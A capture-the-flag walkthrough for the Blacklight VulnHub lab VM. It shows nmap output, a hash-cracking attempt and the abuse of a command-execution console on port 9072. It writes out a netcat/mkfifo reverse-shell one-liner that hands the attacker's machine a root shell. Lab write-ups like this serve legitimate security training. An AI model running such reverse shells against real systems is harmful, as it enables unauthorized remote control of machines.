BlackLight VulnHub Walkthrough

The Blacklight Vulnhub VM was a rather short and simple system to pen test but may have a few tricks to it as well as rabbit holes. There were a few flags but I just wanted to obtain root. As such, the flags will not be listed in this particular walkthrough.

The Blacklight Vulnhub VM download can be found here:,242/

Date Released: 8 June 2018
Author: Carter B
Series: Blacklight

Here’s the basic description taken from Vulnhub:

Recommend that you use VirtualBox

1. Service Enumeration

We get the following output

root@kali:~# nmap -O -A -sT -sV -p- -T5 -vvvStarting Nmap 7.60 ( ) at 2018-07-19 04:37 EDT
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 04:37
Completed NSE at 04:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 04:37
Completed NSE at 04:37, 0.00s elapsed
Initiating ARP Ping Scan at 04:37
Scanning [1 port]
Completed ARP Ping Scan at 04:37, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:37
Completed Parallel DNS resolution of 1 host. at 04:37, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 04:37
Scanning [65535 ports]
Discovered open port 80/tcp on
Discovered open port 9072/tcp on
Completed Connect Scan at 04:37, 3.03s elapsed (65535 total ports)
Initiating Service scan at 04:37
Scanning 2 services on
Completed Service scan at 04:39, 146.26s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 04:39
Completed NSE at 04:39, 0.05s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 04:39
Completed NSE at 04:39, 1.01s elapsed
Nmap scan report for
Host is up, received arp-response (0.00026s latency).
Scanned at 2018-07-19 04:37:21 EDT for 152s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: BLACKLIGHT
9072/tcp open unknown syn-ack
| fingerprint-strings:
| DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, X11Probe:
|_ BLACKLIGHT console mk1. Type .help for instructions
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
MAC Address: 08:00:27:73:DB:5C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
TCP/IP fingerprint:
Uptime guess: 30.141 days (since Tue Jun 19 01:16:24 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
1 0.26 ms
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 04:39
Completed NSE at 04:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 04:39
Completed NSE at 04:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 152.44 seconds
Raw packets sent: 23 (1.806KB) | Rcvd: 15 (1.278KB)

We see there are 2 services running. One being an Apache web service and another running on port 9072.

2. Web Enumeration

Viewing the robots.txt file we get:

The flag1.txt file will contain the first flag. As previously stated at the beginning of this walkthrough I was not particularly concerned about capturing the flag info. However, in the flag1.txt file there was a hint towards the service running port 9072:

The tip here is the 9072. The secret is at home part isn’t very useful and it’s just misleading.

The blacklight.dict file is of course a dictionary file. This is probably used to obtain a flag elsewhere on the system or do something else.

3. Port 9072 Enumeration

We have access to about 4 commands:

  • help — displays the menu obviously
  • readhash — this displays a SHA256 bit hash (b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6)
  • exec — execute commands
  • quit — and obviously quit

The hash that gets returned from readhash is probably used for something else on the system. We were not concerned with this part. However, I ran the hash against the dictionary file with John the Ripper using john — wordlist=/root/Desktop/blacklight.dict hash.txt — format=raw-sha256 and got nothing interesting back. Go figure!

This portion of the penetration test has a gotcha. If one executes exec twice, readhash twice, or both readhash & exec the server will lock you out completely. Once locked out the only way to get back in is reset the VM.

Whenever a system or application allows a user to input commands or execute commands, this should always be considered as one of the primary attack vectors. In this particular case it was the exact attack vector we were looking for.

There’s an additional gotcha with this exec command. It does not output anything you give it to run. It all happens in the background. This was tested using tcpdump to watch for any packets

tcpdump -i eth0 icmp

In the above screenshot, we can see the ping request I performed on the target using .exec `ping -c 1`

I do not recommend using ping as a test especially if you are unsure of how many attempts you would have before getting locked out. Since we have control over the VM though, we can simply reset it to get our 2 attempts back.

Using one of the common reverse shells found on numerous cheat sheet websites ( ) we were able to create a reverse shell to our Kali box. I used the following command on the victim machine after starting a netcat listener on my Kali box:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8080 >/tmp/f

This of course requires the system has netcat to work obviously. In our particular case it did have it.

On our Kali machine we receive the shell which was running as root: